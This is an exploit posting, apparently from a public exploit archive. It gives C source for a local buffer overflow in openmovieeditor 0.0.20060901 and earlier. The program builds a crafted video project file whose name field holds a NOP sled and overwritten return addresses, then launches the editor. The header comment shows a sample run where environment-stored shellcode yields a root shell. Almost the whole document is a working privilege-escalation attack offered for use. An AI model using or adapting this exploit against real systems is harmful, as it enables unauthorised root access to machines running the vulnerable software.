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openmovieeditor <= 0.0.20060901 (name) Local Buffer Overflow Exploit
==================================================================== openmovieeditor <= 0.0.20060901 (name) Local Buffer Overflow Exploit ==================================================================== /* * openmovieeditor buffer overflow exploit * by qnix < qnix[at]bsdmail[dot]org * * Dont forget to change the return address (RETADDR) * * * -------------------------- * devil: ~ \> envt/envt -s 2 * Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes * [+] Setting memory for the shellcode. * [+] Copying shellcode to memory. * [+] Putting shellcode in the environment. * [+] Going into the environment (ENVT) and exiting .... * Done 37 bytes loaded to (ENVT) * devil: ~ \> envt/envt * SHELLCODE FOUND IN 0xbffffbf5 * devil: ~ \> ./ome_buf * * ***************************************** * openmovieeditor buffer overflow exploit * by qnix < qnix[at]bsdmail[dot]org * Dont forget to change the return address * ***************************************** * * Usage : ./ome_buf <filename> <openmovieeditor> * devil: ~ \> ./ome_buf Video\ Projects/exploit.vproj /usr/local/bin/openmovieeditor * * [+] Video Projects/exploit.vproj Created|Opened * [~] Desired Return Addr : 0xbffffbf5 * [~] Offset from ESP : 0x0 * [+] Executing openmovieeditor * * sh-3.1# whoami;id * root * uid=0(root) gid=0(root) groups=0(root) * sh-3.1# exit * exit * * -------------------------- * * */ #include <stdio.h> #include <stdlib.h> #define RETADDR '\xbf\xff\xfb\xf5' #define SLEEP sleep(1); int main(int argc,char *argv[]) { FILE *output; int i, offset; long ret, *addr_ptr; char *buffer, *ptr; offset = 0; ret = RETADDR - offset; if(argc != 3) { fprintf(stderr,"\n*****************************************\n"); fprintf(stderr,"openmovieeditor buffer overflow exploit\n"); fprintf(stderr,"by qnix < qnix[at]bsdmail[dot]org\n"); fprintf(stderr,"Dont forget to change the return address\n"); fprintf(stderr,"*****************************************\n\n"); fprintf(stderr,"Usage : %s <filename> <openmovieeditor>\n",argv[0]); return 0; } output = fopen(argv[1],"w+"); if(output == 0) { fprintf(stderr,"\n[-] Cannot create %s\n",argv[1]); SLEEP return 0; } else { fprintf(stdout,"\n[+] %s Created|Opened\n",argv[1]); SLEEP } fprintf(output,"<?xml version=\"1.0\" standalone=\"no\" ?>\n"); fprintf(output,"<open_movie_editor_project>\n"); fprintf(output," <version>0.0.20060901</version>\n"); /* evil code ^_^ */ buffer = malloc(2300); ptr = buffer; addr_ptr = (long *) ptr; for(i=0; i < 2300; i+=4) { *(addr_ptr++) = ret; } for(i=0; i < 1040; i++) { buffer[i] = '\x90'; } ptr = buffer + 1044; buffer[2300-1] = 0; fprintf(output," <name>%s</name>\n",buffer); fprintf(output," <zoom value=\"1.000000\" />\n"); fprintf(output," <scroll value=\"0\" />\n"); fprintf(output," <stylus value=\"0\" />\n"); fprintf(output," <video_tracks>\n"); fprintf(output," <track />\n"); fprintf(output," <track />\n"); fprintf(output," </video_tracks>\n"); fprintf(output," <audio_tracks>\n"); fprintf(output," <track />\n"); fprintf(output," <track />\n"); fprintf(output," </audio_tracks>\n"); fprintf(output,"</open_movie_editor_project>\n"); fprintf(stdout,"[~] Desired Return Addr : 0x%x\n", ret); SLEEP fprintf(stdout,"[~] Offset from ESP : 0x%x\n", offset); SLEEP fprintf(stdout,"[+] Executing openmovieeditor\n\n"); fclose(output); SLEEP execl(argv[2],"openmovieeditor",0); return 0; } # 0day.today [2024-12-24] #